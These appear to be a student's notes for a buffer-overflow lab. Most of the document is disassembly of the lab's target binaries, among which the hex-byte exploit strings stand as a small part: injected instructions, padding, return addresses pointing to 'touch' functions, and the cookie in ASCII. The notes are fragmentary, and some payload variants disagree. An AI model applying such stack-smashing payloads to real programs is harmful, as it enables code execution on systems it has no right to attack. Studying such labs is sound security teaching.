4027e8: 89 ef mov %ebp,%edi

4027ea: e8 c1 e4 ff ff callq 400cb0 <close@plt>

4027ef: b8 ff ff ff ff mov $0xffffffff,%eax

4027f4: e9 b7 00 00 00 jmpq 4028b0 <submitr+0x709>

4027f9: 8b 94 24 1c 20 00 00 mov 0x201c(%rsp),%edx

402800: 81 fa c8 00 00 00 cmp $0xc8,%edx

402806: 74 28 je 402830 <submitr+0x689>

402808: 48 8d 4c 24 10 lea 0x10(%rsp),%rcx

40280d: be c8 33 40 00 mov $0x4033c8,%esi

402812: 48 89 df mov %rbx,%rdi

402815: b8 00 00 00 00 mov $0x0,%eax

40281a: e8 c1 e5 ff ff callq 400de0 <sprintf@plt>

40281f: 89 ef mov %ebp,%edi

402821: e8 8a e4 ff ff callq 400cb0 <close@plt>

402826: b8 ff ff ff ff mov $0xffffffff,%eax

40282b: e9 80 00 00 00 jmpq 4028b0 <submitr+0x709>

402830: 48 8d b4 24 20 60 00 lea 0x6020(%rsp),%rsi

402837: 00

402838: 48 89 df mov %rbx,%rdi

40283b: e8 00 e4 ff ff callq 400c40 <strcpy@plt>

402840: 89 ef mov %ebp,%edi

402842: e8 69 e4 ff ff callq 400cb0 <close@plt>

402847: 0f b6 03 movzbl (%rbx),%eax

40284a: 83 e8 4f sub $0x4f,%eax

40284d: 75 18 jne 402867 <submitr+0x6c0>

40284f: 0f b6 53 01 movzbl 0x1(%rbx),%edx

402853: 83 ea 4b sub $0x4b,%edx

402856: 75 11 jne 402869 <submitr+0x6c2>

402858: 0f b6 53 02 movzbl 0x2(%rbx),%edx

40285c: 83 ea 0a sub $0xa,%edx

40285f: 75 08 jne 402869 <submitr+0x6c2>

402861: 0f b6 53 03 movzbl 0x3(%rbx),%edx

402865: eb 02 jmp 402869 <submitr+0x6c2>

402867: 89 c2 mov %eax,%edx

402869: 85 d2 test %edx,%edx

40286b: 74 30 je 40289d <submitr+0x6f6>

40286d: bf 10 34 40 00 mov $0x403410,%edi

402872: b9 05 00 00 00 mov $0x5,%ecx

402877: 48 89 de mov %rbx,%rsi

40287a: f3 a6 repz cmpsb %es:(%rdi),%ds:(%rsi)

40287c: 0f 97 c1 seta %cl

40287f: 0f 92 c2 setb %dl

402882: 38 d1 cmp %dl,%cl

402884: 74 1e je 4028a4 <submitr+0x6fd>

402886: 85 c0 test %eax,%eax

402888: 75 0d jne 402897 <submitr+0x6f0>

40288a: 0f b6 43 01 movzbl 0x1(%rbx),%eax

40288e: 83 e8 4b sub $0x4b,%eax

402891: 75 04 jne 402897 <submitr+0x6f0>

402893: 0f b6 43 02 movzbl 0x2(%rbx),%eax

402897: 85 c0 test %eax,%eax

402899: 75 10 jne 4028ab <submitr+0x704>

40289b: eb 13 jmp 4028b0 <submitr+0x709>

40289d: b8 00 00 00 00 mov $0x0,%eax

4028a2: eb 0c jmp 4028b0 <submitr+0x709>

4028a4: b8 00 00 00 00 mov $0x0,%eax

4028a9: eb 05 jmp 4028b0 <submitr+0x709>

4028ab: b8 ff ff ff ff mov $0xffffffff,%eax

4028b0: 48 81 c4 48 a0 00 00 add $0xa048,%rsp

4028b7: 5b pop %rbx

4028b8: 5d pop %rbp

4028b9: 41 5c pop %r12

4028bb: 41 5d pop %r13

4028bd: 41 5e pop %r14

4028bf: 41 5f pop %r15

4028c1: c3 retq

00000000004028c2 <init\_timeout>:

4028c2: 53 push %rbx

4028c3: 89 fb mov %edi,%ebx

4028c5: 85 ff test %edi,%edi

4028c7: 74 1f je 4028e8 <init\_timeout+0x26>

4028c9: 85 ff test %edi,%edi

4028cb: 79 05 jns 4028d2 <init\_timeout+0x10>

4028cd: bb 00 00 00 00 mov $0x0,%ebx

4028d2: be 42 1f 40 00 mov $0x401f42,%esi

4028d7: bf 0e 00 00 00 mov $0xe,%edi

4028dc: e8 ff e3 ff ff callq 400ce0 <signal@plt>

4028e1: 89 df mov %ebx,%edi

4028e3: e8 b8 e3 ff ff callq 400ca0 <alarm@plt>

4028e8: 5b pop %rbx

4028e9: c3 retq

00000000004028ea <init\_driver>:

4028ea: 55 push %rbp

4028eb: 53 push %rbx

4028ec: 48 83 ec 18 sub $0x18,%rsp

4028f0: 48 89 fd mov %rdi,%rbp

4028f3: be 01 00 00 00 mov $0x1,%esi

4028f8: bf 0d 00 00 00 mov $0xd,%edi

4028fd: e8 de e3 ff ff callq 400ce0 <signal@plt>

402902: be 01 00 00 00 mov $0x1,%esi

402907: bf 1d 00 00 00 mov $0x1d,%edi

40290c: e8 cf e3 ff ff callq 400ce0 <signal@plt>

402911: be 01 00 00 00 mov $0x1,%esi

402916: bf 1d 00 00 00 mov $0x1d,%edi

40291b: e8 c0 e3 ff ff callq 400ce0 <signal@plt>

402920: ba 00 00 00 00 mov $0x0,%edx

402925: be 01 00 00 00 mov $0x1,%esi

40292a: bf 02 00 00 00 mov $0x2,%edi

40292f: e8 dc e4 ff ff callq 400e10 <socket@plt>

402934: 89 c3 mov %eax,%ebx

402936: 85 c0 test %eax,%eax

402938: 79 4f jns 402989 <init\_driver+0x9f>

40293a: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

402941: 3a 20 43

402944: 48 89 45 00 mov %rax,0x0(%rbp)

402948: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

40294f: 20 75 6e

402952: 48 89 45 08 mov %rax,0x8(%rbp)

402956: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

40295d: 74 6f 20

402960: 48 89 45 10 mov %rax,0x10(%rbp)

402964: 48 b8 63 72 65 61 74 movabs $0x7320657461657263,%rax

40296b: 65 20 73

40296e: 48 89 45 18 mov %rax,0x18(%rbp)

402972: c7 45 20 6f 63 6b 65 movl $0x656b636f,0x20(%rbp)

402979: 66 c7 45 24 74 00 movw $0x74,0x24(%rbp)

40297f: b8 ff ff ff ff mov $0xffffffff,%eax

402984: e9 23 01 00 00 jmpq 402aac <init\_driver+0x1c2>

402989: bf 1d 2f 40 00 mov $0x402f1d,%edi

40298e: e8 5d e3 ff ff callq 400cf0 <gethostbyname@plt>

402993: 48 85 c0 test %rax,%rax

402996: 75 68 jne 402a00 <init\_driver+0x116>

402998: 48 b8 45 72 72 6f 72 movabs $0x44203a726f727245,%rax

40299f: 3a 20 44

4029a2: 48 89 45 00 mov %rax,0x0(%rbp)

4029a6: 48 b8 4e 53 20 69 73 movabs $0x6e7520736920534e,%rax

4029ad: 20 75 6e

4029b0: 48 89 45 08 mov %rax,0x8(%rbp)

4029b4: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

4029bb: 74 6f 20

4029be: 48 89 45 10 mov %rax,0x10(%rbp)

4029c2: 48 b8 72 65 73 6f 6c movabs $0x2065766c6f736572,%rax

4029c9: 76 65 20

4029cc: 48 89 45 18 mov %rax,0x18(%rbp)

4029d0: 48 b8 73 65 72 76 65 movabs $0x6120726576726573,%rax

4029d7: 72 20 61

4029da: 48 89 45 20 mov %rax,0x20(%rbp)

4029de: c7 45 28 64 64 72 65 movl $0x65726464,0x28(%rbp)

4029e5: 66 c7 45 2c 73 73 movw $0x7373,0x2c(%rbp)

4029eb: c6 45 2e 00 movb $0x0,0x2e(%rbp)

4029ef: 89 df mov %ebx,%edi

4029f1: e8 ba e2 ff ff callq 400cb0 <close@plt>

4029f6: b8 ff ff ff ff mov $0xffffffff,%eax

4029fb: e9 ac 00 00 00 jmpq 402aac <init\_driver+0x1c2>

402a00: 48 c7 04 24 00 00 00 movq $0x0,(%rsp)

402a07: 00

402a08: 48 c7 44 24 08 00 00 movq $0x0,0x8(%rsp)

402a0f: 00 00

402a11: 66 c7 04 24 02 00 movw $0x2,(%rsp)

402a17: 48 8b 48 18 mov 0x18(%rax),%rcx

402a1b: 48 63 50 14 movslq 0x14(%rax),%rdx

402a1f: 48 8d 74 24 04 lea 0x4(%rsp),%rsi

402a24: 48 8b 39 mov (%rcx),%rdi

402a27: e8 64 e3 ff ff callq 400d90 <bcopy@plt>

402a2c: 66 c7 44 24 02 47 26 movw $0x2647,0x2(%rsp)

402a33: ba 10 00 00 00 mov $0x10,%edx

402a38: 48 89 e6 mov %rsp,%rsi

402a3b: 89 df mov %ebx,%edi

402a3d: e8 be e3 ff ff callq 400e00 <connect@plt>

402a42: 85 c0 test %eax,%eax

402a44: 79 50 jns 402a96 <init\_driver+0x1ac>

402a46: 48 b8 45 72 72 6f 72 movabs $0x55203a726f727245,%rax

402a4d: 3a 20 55

402a50: 48 89 45 00 mov %rax,0x0(%rbp)

402a54: 48 b8 6e 61 62 6c 65 movabs $0x6f7420656c62616e,%rax

402a5b: 20 74 6f

402a5e: 48 89 45 08 mov %rax,0x8(%rbp)

402a62: 48 b8 20 63 6f 6e 6e movabs $0x7463656e6e6f6320,%rax

402a69: 65 63 74

402a6c: 48 89 45 10 mov %rax,0x10(%rbp)

402a70: 48 b8 20 74 6f 20 73 movabs $0x76726573206f7420,%rax

402a77: 65 72 76

402a7a: 48 89 45 18 mov %rax,0x18(%rbp)

402a7e: 66 c7 45 20 65 72 movw $0x7265,0x20(%rbp)

402a84: c6 45 22 00 movb $0x0,0x22(%rbp)

402a88: 89 df mov %ebx,%edi

402a8a: e8 21 e2 ff ff callq 400cb0 <close@plt>

402a8f: b8 ff ff ff ff mov $0xffffffff,%eax

402a94: eb 16 jmp 402aac <init\_driver+0x1c2>

402a96: 89 df mov %ebx,%edi

402a98: e8 13 e2 ff ff callq 400cb0 <close@plt>

402a9d: 66 c7 45 00 4f 4b movw $0x4b4f,0x0(%rbp)

402aa3: c6 45 02 00 movb $0x0,0x2(%rbp)

402aa7: b8 00 00 00 00 mov $0x0,%eax

402aac: 48 83 c4 18 add $0x18,%rsp

402ab0: 5b pop %rbx

402ab1: 5d pop %rbp

402ab2: c3 retq

0000000000402ab3 <driver\_post>:

402ab3: 53 push %rbx

402ab4: 48 83 ec 10 sub $0x10,%rsp

402ab8: 4c 89 cb mov %r9,%rbx

402abb: 45 85 c0 test %r8d,%r8d

402abe: 74 22 je 402ae2 <driver\_post+0x2f>

402ac0: 48 89 ce mov %rcx,%rsi

402ac3: bf 15 34 40 00 mov $0x403415,%edi

402ac8: b8 00 00 00 00 mov $0x0,%eax

402acd: e8 ae e1 ff ff callq 400c80 <printf@plt>

402ad2: 66 c7 03 4f 4b movw $0x4b4f,(%rbx)

402ad7: c6 43 02 00 movb $0x0,0x2(%rbx)

402adb: b8 00 00 00 00 mov $0x0,%eax

402ae0: eb 39 jmp 402b1b <driver\_post+0x68>

402ae2: 48 85 ff test %rdi,%rdi

402ae5: 74 26 je 402b0d <driver\_post+0x5a>

402ae7: 80 3f 00 cmpb $0x0,(%rdi)

402aea: 74 21 je 402b0d <driver\_post+0x5a>

402aec: 4c 89 0c 24 mov %r9,(%rsp)

402af0: 49 89 c9 mov %rcx,%r9

402af3: 49 89 d0 mov %rdx,%r8

402af6: 48 89 f9 mov %rdi,%rcx

402af9: 48 89 f2 mov %rsi,%rdx

402afc: be 26 47 00 00 mov $0x4726,%esi

402b01: bf 1d 2f 40 00 mov $0x402f1d,%edi

402b06: e8 9c f6 ff ff callq 4021a7 <submitr>

402b0b: eb 0e jmp 402b1b <driver\_post+0x68>

402b0d: 66 c7 03 4f 4b movw $0x4b4f,(%rbx)

402b12: c6 43 02 00 movb $0x0,0x2(%rbx)

402b16: b8 00 00 00 00 mov $0x0,%eax

402b1b: 48 83 c4 10 add $0x10,%rsp

402b1f: 5b pop %rbx

402b20: c3 retq

0000000000402b21 <check>:

402b21: 89 f8 mov %edi,%eax

402b23: c1 e8 1c shr $0x1c,%eax

402b26: 85 c0 test %eax,%eax

402b28: 74 1d je 402b47 <check+0x26>

402b2a: b9 00 00 00 00 mov $0x0,%ecx

402b2f: eb 0b jmp 402b3c <check+0x1b>

402b31: 89 f8 mov %edi,%eax

402b33: d3 e8 shr %cl,%eax

402b35: 3c 0a cmp $0xa,%al

402b37: 74 14 je 402b4d <check+0x2c>

402b39: 83 c1 08 add $0x8,%ecx

402b3c: 83 f9 1f cmp $0x1f,%ecx

402b3f: 7e f0 jle 402b31 <check+0x10>

402b41: b8 01 00 00 00 mov $0x1,%eax

402b46: c3 retq

402b47: b8 00 00 00 00 mov $0x0,%eax

402b4c: c3 retq

402b4d: b8 00 00 00 00 mov $0x0,%eax

402b52: c3 retq

0000000000402b53 <gencookie>:

402b53: 53 push %rbx

402b54: 83 c7 01 add $0x1,%edi

402b57: e8 c4 e0 ff ff callq 400c20 <srandom@plt>

402b5c: e8 ef e1 ff ff callq 400d50 <random@plt>

402b61: 89 c3 mov %eax,%ebx

402b63: 89 c7 mov %eax,%edi

402b65: e8 b7 ff ff ff callq 402b21 <check>

402b6a: 85 c0 test %eax,%eax

402b6c: 74 ee je 402b5c <gencookie+0x9>

402b6e: 89 d8 mov %ebx,%eax

402b70: 5b pop %rbx

402b71: c3 retq

402b72: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)

402b79: 00 00 00

402b7c: 0f 1f 40 00 nopl 0x0(%rax)

0000000000402b80 <\_\_libc\_csu\_init>:

402b80: 41 57 push %r15

402b82: 41 89 ff mov %edi,%r15d

402b85: 41 56 push %r14

402b87: 49 89 f6 mov %rsi,%r14

402b8a: 41 55 push %r13

402b8c: 49 89 d5 mov %rdx,%r13

402b8f: 41 54 push %r12

402b91: 4c 8d 25 78 12 20 00 lea 0x201278(%rip),%r12 # 603e10 <\_\_frame\_dummy\_init\_array\_entry>

402b98: 55 push %rbp

402b99: 48 8d 2d 78 12 20 00 lea 0x201278(%rip),%rbp # 603e18 <\_\_init\_array\_end>

402ba0: 53 push %rbx

402ba1: 4c 29 e5 sub %r12,%rbp

402ba4: 31 db xor %ebx,%ebx

402ba6: 48 c1 fd 03 sar $0x3,%rbp

402baa: 48 83 ec 08 sub $0x8,%rsp

402bae: e8 15 e0 ff ff callq 400bc8 <\_init>

402bb3: 48 85 ed test %rbp,%rbp

402bb6: 74 1e je 402bd6 <\_\_libc\_csu\_init+0x56>

402bb8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)

402bbf: 00

402bc0: 4c 89 ea mov %r13,%rdx

402bc3: 4c 89 f6 mov %r14,%rsi

402bc6: 44 89 ff mov %r15d,%edi

402bc9: 41 ff 14 dc callq \*(%r12,%rbx,8)

402bcd: 48 83 c3 01 add $0x1,%rbx

402bd1: 48 39 eb cmp %rbp,%rbx

402bd4: 75 ea jne 402bc0 <\_\_libc\_csu\_init+0x40>

402bd6: 48 83 c4 08 add $0x8,%rsp

402bda: 5b pop %rbx

402bdb: 5d pop %rbp

402bdc: 41 5c pop %r12

402bde: 41 5d pop %r13

402be0: 41 5e pop %r14

402be2: 41 5f pop %r15

402be4: c3 retq

402be5: 90 nop

402be6: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)

402bed: 00 00 00

0000000000402bf0 <\_\_libc\_csu\_fini>:

402bf0: f3 c3 repz retq

Disassembly of section .fini:

0000000000402bf4 <\_fini>:

402bf4: 48 83 ec 08 sub $0x8,%rsp

402bf8: 48 83 c4 08 add $0x8,%rsp

402bfc: c3 retq

|  |
| --- |
| 48 c7 c7 d0 56 65 55 c3 //disassembly mov $(address we put ascii representation of cookie) to rdi |
|  | 00 00 00 00 00 00 00 00 |
|  | 00 00 00 00 00 00 00 00 //padding |
|  | a8 56 65 55 00 00 00 00 //address of rsp/code/disassembly |
|  | 64 19 40 00 00 00 00 00 //address of touch 3 |
|  | 36 30 62 31 37 64 31 34 //ascii hexrepresentation of cookie |

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 17 40 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 17 40 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 17 40 00 00 00 00

4018d2

48 c7 c7 30 dd 60 55 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 dd 60 55 00 00 00 00 d2 18 40 00 00 00 00 00 36 63 35 39 66 26 33 37

48 c7 c7 50 dd 60 55 c3

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

08 dd 60 55 00 00 00 00

d2 18 40 00 00 00 00 00

33 37 66 36 35 39 36 63

36 63 35 39 66 36 33 37

6c59f637 c3

36 63 35 39 66 26 33 37

37f6596c

RTARGET

4010e4: 41 54 push %r12

4010e6: 55 push %rbp

4010e7: 53 push %rbx

4010e8: 41 89 fc mov %edi,%r12d

4010eb: 48 89 f3 mov %rsi,%rbx

4010ee: be 31 1e 40 00 mov $0x401e31,%esi

4010f3: bf 0b 00 00 00 mov $0xb,%edi

4010f8: e8 e3 fb ff ff callq 400ce0 <signal@plt>

4010fd: be e3 1d 40 00 mov $0x401de3,%esi

401102: bf 07 00 00 00 mov $0x7,%edi

401107: e8 d4 fb ff ff callq 400ce0 <signal@plt>

40110c: be 7f 1e 40 00 mov $0x401e7f,%esi

401111: bf 04 00 00 00 mov $0x4,%edi

401116: e8 c5 fb ff ff callq 400ce0 <signal@plt>

40111b: 83 3d e6 43 20 00 00 cmpl $0x0,0x2043e6(%rip) # 605508 <is\_checker>

401122: 74 20 je 401144 <main+0x64>

401124: be cd 1e 40 00 mov $0x401ecd,%esi

401129: bf 0e 00 00 00 mov $0xe,%edi

40112e: e8 ad fb ff ff callq 400ce0 <signal@plt>

401133: bf 05 00 00 00 mov $0x5,%edi

401138: e8 63 fb ff ff callq 400ca0 <alarm@plt>

40113d: bd 52 2f 40 00 mov $0x402f52,%ebp

401142: eb 05 jmp 401149 <main+0x69>

401144: bd 4d 2f 40 00 mov $0x402f4d,%ebp

401149: 48 8b 05 70 43 20 00 mov 0x204370(%rip),%rax # 6054c0 <stdin@@GLIBC\_2.2.5>

401150: 48 89 05 99 43 20 00 mov %rax,0x204399(%rip) # 6054f0 <infile>

401157: 41 bd 00 00 00 00 mov $0x0,%r13d

40115d: 41 be 00 00 00 00 mov $0x0,%r14d

401163: e9 b9 00 00 00 jmpq 401221 <main+0x141>

401168: 83 e8 61 sub $0x61,%eax

40116b: 3c 10 cmp $0x10,%al

40116d: 0f 87 93 00 00 00 ja 401206 <main+0x126>

401173: 0f b6 c0 movzbl %al,%eax

401176: ff 24 c5 98 2f 40 00 jmpq \*0x402f98(,%rax,8)

40117d: 48 8b 3b mov (%rbx),%rdi

401180: e8 8b fd ff ff callq 400f10 <usage>

401185: be 2d 32 40 00 mov $0x40322d,%esi

40118a: 48 8b 3d 37 43 20 00 mov 0x204337(%rip),%rdi # 6054c8 <optarg@@GLIBC\_2.2.5>

401191: e8 0a fc ff ff callq 400da0 <fopen@plt>

401196: 48 89 05 53 43 20 00 mov %rax,0x204353(%rip) # 6054f0 <infile>

40119d: 48 85 c0 test %rax,%rax

4011a0: 75 7f jne 401221 <main+0x141>

4011a2: 48 8b 15 1f 43 20 00 mov 0x20431f(%rip),%rdx # 6054c8 <optarg@@GLIBC\_2.2.5>

4011a9: be 5a 2f 40 00 mov $0x402f5a,%esi

4011ae: 48 8b 3d 1b 43 20 00 mov 0x20431b(%rip),%rdi # 6054d0 <stderr@@GLIBC\_2.2.5>

4011b5: e8 46 fb ff ff callq 400d00 <fprintf@plt>

4011ba: b8 01 00 00 00 mov $0x1,%eax

4011bf: e9 d6 00 00 00 jmpq 40129a <main+0x1ba>

4011c4: ba 10 00 00 00 mov $0x10,%edx

4011c9: be 00 00 00 00 mov $0x0,%esi

4011ce: 48 8b 3d f3 42 20 00 mov 0x2042f3(%rip),%rdi # 6054c8 <optarg@@GLIBC\_2.2.5>

4011d5: e8 e6 fb ff ff callq 400dc0 <strtoul@plt>

4011da: 41 89 c6 mov %eax,%r14d

4011dd: eb 42 jmp 401221 <main+0x141>

4011df: ba 0a 00 00 00 mov $0xa,%edx

4011e4: be 00 00 00 00 mov $0x0,%esi

4011e9: 48 8b 3d d8 42 20 00 mov 0x2042d8(%rip),%rdi # 6054c8 <optarg@@GLIBC\_2.2.5>

4011f0: e8 2b fb ff ff callq 400d20 <strtol@plt>

4011f5: 41 89 c5 mov %eax,%r13d

4011f8: eb 27 jmp 401221 <main+0x141>

4011fa: c7 05 a4 42 20 00 00 movl $0x0,0x2042a4(%rip) # 6054a8 <notify>

401201: 00 00 00

401204: eb 1b jmp 401221 <main+0x141>

401206: 40 0f be f6 movsbl %sil,%esi

40120a: bf 77 2f 40 00 mov $0x402f77,%edi

40120f: b8 00 00 00 00 mov $0x0,%eax

401214: e8 67 fa ff ff callq 400c80 <printf@plt>

401219: 48 8b 3b mov (%rbx),%rdi

40121c: e8 ef fc ff ff callq 400f10 <usage>

401221: 48 89 ea mov %rbp,%rdx

401224: 48 89 de mov %rbx,%rsi

401227: 44 89 e7 mov %r12d,%edi

40122a: e8 81 fb ff ff callq 400db0 <getopt@plt>

40122f: 89 c6 mov %eax,%esi

401231: 3c ff cmp $0xff,%al

401233: 0f 85 2f ff ff ff jne 401168 <main+0x88>

401239: be 01 00 00 00 mov $0x1,%esi

40123e: 44 89 ef mov %r13d,%edi

401241: e8 4a fd ff ff callq 400f90 <initialize\_target>

401246: 83 3d bb 42 20 00 00 cmpl $0x0,0x2042bb(%rip) # 605508 <is\_checker>

40124d: 74 25 je 401274 <main+0x194>

40124f: 44 3b 35 aa 42 20 00 cmp 0x2042aa(%rip),%r14d # 605500 <authkey>

401256: 74 1c je 401274 <main+0x194>

401258: 44 89 f6 mov %r14d,%esi

40125b: bf b0 2e 40 00 mov $0x402eb0,%edi

401260: b8 00 00 00 00 mov $0x0,%eax

401265: e8 16 fa ff ff callq 400c80 <printf@plt>

40126a: b8 00 00 00 00 mov $0x0,%eax

40126f: e8 77 08 00 00 callq 401aeb <check\_fail>

401274: 8b 35 8a 42 20 00 mov 0x20428a(%rip),%esi # 605504 <cookie>

40127a: bf 8a 2f 40 00 mov $0x402f8a,%edi

40127f: b8 00 00 00 00 mov $0x0,%eax

401284: e8 f7 f9 ff ff callq 400c80 <printf@plt>

401289: 48 8b 3d 10 42 20 00 mov 0x204210(%rip),%rdi # 6054a0 <buf\_offset>

401290: e8 86 0c 00 00 callq 401f1b <launch>

401295: b8 00 00 00 00 mov $0x0,%eax

40129a: 5b pop %rbx

40129b: 5d pop %rbp

40129c: 41 5c pop %r12

40129e: 41 5d pop %r13

4012a0: 41 5e pop %r14

4012a2: c3 retq

00000000004012a3 <scramble>:

4012a3: b8 00 00 00 00 mov $0x0,%eax

4012a8: eb 11 jmp 4012bb <scramble+0x18>

4012aa: 69 c8 0e d5 00 00 imul $0xd50e,%eax,%ecx

4012b0: 01 f9 add %edi,%ecx

4012b2: 89 c2 mov %eax,%edx

4012b4: 89 4c 94 d0 mov %ecx,-0x30(%rsp,%rdx,4)

4012b8: 83 c0 01 add $0x1,%eax

4012bb: 83 f8 09 cmp $0x9,%eax

4012be: 76 ea jbe 4012aa <scramble+0x7>

4012c0: 8b 44 24 f0 mov -0x10(%rsp),%eax

4012c4: 69 c0 11 aa 00 00 imul $0xaa11,%eax,%eax

4012ca: 89 44 24 f0 mov %eax,-0x10(%rsp)

4012ce: 8b 44 24 e8 mov -0x18(%rsp),%eax

4012d2: 69 c0 c9 29 00 00 imul $0x29c9,%eax,%eax

4012d8: 89 44 24 e8 mov %eax,-0x18(%rsp)

4012dc: 8b 44 24 f0 mov -0x10(%rsp),%eax

4012e0: 69 c0 f0 ab 00 00 imul $0xabf0,%eax,%eax

4012e6: 89 44 24 f0 mov %eax,-0x10(%rsp)

4012ea: 8b 44 24 f4 mov -0xc(%rsp),%eax

4012ee: 69 c0 0c 14 00 00 imul $0x140c,%eax,%eax

4012f4: 89 44 24 f4 mov %eax,-0xc(%rsp)

4012f8: 8b 44 24 e4 mov -0x1c(%rsp),%eax

4012fc: 69 c0 72 2b 00 00 imul $0x2b72,%eax,%eax

401302: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401306: 8b 44 24 dc mov -0x24(%rsp),%eax

40130a: 69 c0 0d 87 00 00 imul $0x870d,%eax,%eax

401310: 89 44 24 dc mov %eax,-0x24(%rsp)

401314: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401318: 69 c0 01 34 00 00 imul $0x3401,%eax,%eax

40131e: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401322: 8b 44 24 e0 mov -0x20(%rsp),%eax

401326: 69 c0 3f b5 00 00 imul $0xb53f,%eax,%eax

40132c: 89 44 24 e0 mov %eax,-0x20(%rsp)

401330: 8b 44 24 f4 mov -0xc(%rsp),%eax

401334: 69 c0 59 5b 00 00 imul $0x5b59,%eax,%eax

40133a: 89 44 24 f4 mov %eax,-0xc(%rsp)

40133e: 8b 44 24 d8 mov -0x28(%rsp),%eax

401342: 69 c0 ba 87 00 00 imul $0x87ba,%eax,%eax

401348: 89 44 24 d8 mov %eax,-0x28(%rsp)

40134c: 8b 44 24 dc mov -0x24(%rsp),%eax

401350: 69 c0 0f 7b 00 00 imul $0x7b0f,%eax,%eax

401356: 89 44 24 dc mov %eax,-0x24(%rsp)

40135a: 8b 44 24 e8 mov -0x18(%rsp),%eax

40135e: 69 c0 85 c5 00 00 imul $0xc585,%eax,%eax

401364: 89 44 24 e8 mov %eax,-0x18(%rsp)

401368: 8b 44 24 e4 mov -0x1c(%rsp),%eax

40136c: 69 c0 d9 5c 00 00 imul $0x5cd9,%eax,%eax

401372: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401376: 8b 44 24 e0 mov -0x20(%rsp),%eax

40137a: 69 c0 5b 0e 00 00 imul $0xe5b,%eax,%eax

401380: 89 44 24 e0 mov %eax,-0x20(%rsp)

401384: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401388: 69 c0 a6 36 00 00 imul $0x36a6,%eax,%eax

40138e: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401392: 8b 44 24 d4 mov -0x2c(%rsp),%eax

401396: 69 c0 00 78 00 00 imul $0x7800,%eax,%eax

40139c: 89 44 24 d4 mov %eax,-0x2c(%rsp)

4013a0: 8b 44 24 f0 mov -0x10(%rsp),%eax

4013a4: 69 c0 7d 8a 00 00 imul $0x8a7d,%eax,%eax

4013aa: 89 44 24 f0 mov %eax,-0x10(%rsp)

4013ae: 8b 44 24 e4 mov -0x1c(%rsp),%eax

4013b2: 69 c0 4b 31 00 00 imul $0x314b,%eax,%eax

4013b8: 89 44 24 e4 mov %eax,-0x1c(%rsp)

4013bc: 8b 44 24 d8 mov -0x28(%rsp),%eax

4013c0: 69 c0 28 e7 00 00 imul $0xe728,%eax,%eax

4013c6: 89 44 24 d8 mov %eax,-0x28(%rsp)

4013ca: 8b 44 24 e8 mov -0x18(%rsp),%eax

4013ce: 69 c0 be f5 00 00 imul $0xf5be,%eax,%eax

4013d4: 89 44 24 e8 mov %eax,-0x18(%rsp)

4013d8: 8b 44 24 d0 mov -0x30(%rsp),%eax

4013dc: 69 c0 77 48 00 00 imul $0x4877,%eax,%eax

4013e2: 89 44 24 d0 mov %eax,-0x30(%rsp)

4013e6: 8b 44 24 f0 mov -0x10(%rsp),%eax

4013ea: 69 c0 66 30 00 00 imul $0x3066,%eax,%eax

4013f0: 89 44 24 f0 mov %eax,-0x10(%rsp)

4013f4: 8b 44 24 dc mov -0x24(%rsp),%eax

4013f8: 69 c0 7b 7d 00 00 imul $0x7d7b,%eax,%eax

4013fe: 89 44 24 dc mov %eax,-0x24(%rsp)

401402: 8b 44 24 d0 mov -0x30(%rsp),%eax

401406: 69 c0 90 02 00 00 imul $0x290,%eax,%eax

40140c: 89 44 24 d0 mov %eax,-0x30(%rsp)

401410: 8b 44 24 e8 mov -0x18(%rsp),%eax

401414: 69 c0 bf 8a 00 00 imul $0x8abf,%eax,%eax

40141a: 89 44 24 e8 mov %eax,-0x18(%rsp)

40141e: 8b 44 24 e8 mov -0x18(%rsp),%eax

401422: 69 c0 b7 8b 00 00 imul $0x8bb7,%eax,%eax

401428: 89 44 24 e8 mov %eax,-0x18(%rsp)

40142c: 8b 44 24 d8 mov -0x28(%rsp),%eax

401430: 69 c0 ba 97 00 00 imul $0x97ba,%eax,%eax

401436: 89 44 24 d8 mov %eax,-0x28(%rsp)

40143a: 8b 44 24 d4 mov -0x2c(%rsp),%eax

40143e: 69 c0 65 bb 00 00 imul $0xbb65,%eax,%eax

401444: 89 44 24 d4 mov %eax,-0x2c(%rsp)

401448: 8b 44 24 d8 mov -0x28(%rsp),%eax

40144c: 69 c0 28 0a 00 00 imul $0xa28,%eax,%eax

401452: 89 44 24 d8 mov %eax,-0x28(%rsp)

401456: 8b 44 24 d8 mov -0x28(%rsp),%eax

40145a: 69 c0 85 97 00 00 imul $0x9785,%eax,%eax

401460: 89 44 24 d8 mov %eax,-0x28(%rsp)

401464: 8b 44 24 f4 mov -0xc(%rsp),%eax

401468: 69 c0 87 31 00 00 imul $0x3187,%eax,%eax

40146e: 89 44 24 f4 mov %eax,-0xc(%rsp)

401472: 8b 44 24 d0 mov -0x30(%rsp),%eax

401476: 69 c0 85 21 00 00 imul $0x2185,%eax,%eax

40147c: 89 44 24 d0 mov %eax,-0x30(%rsp)

401480: 8b 44 24 e0 mov -0x20(%rsp),%eax

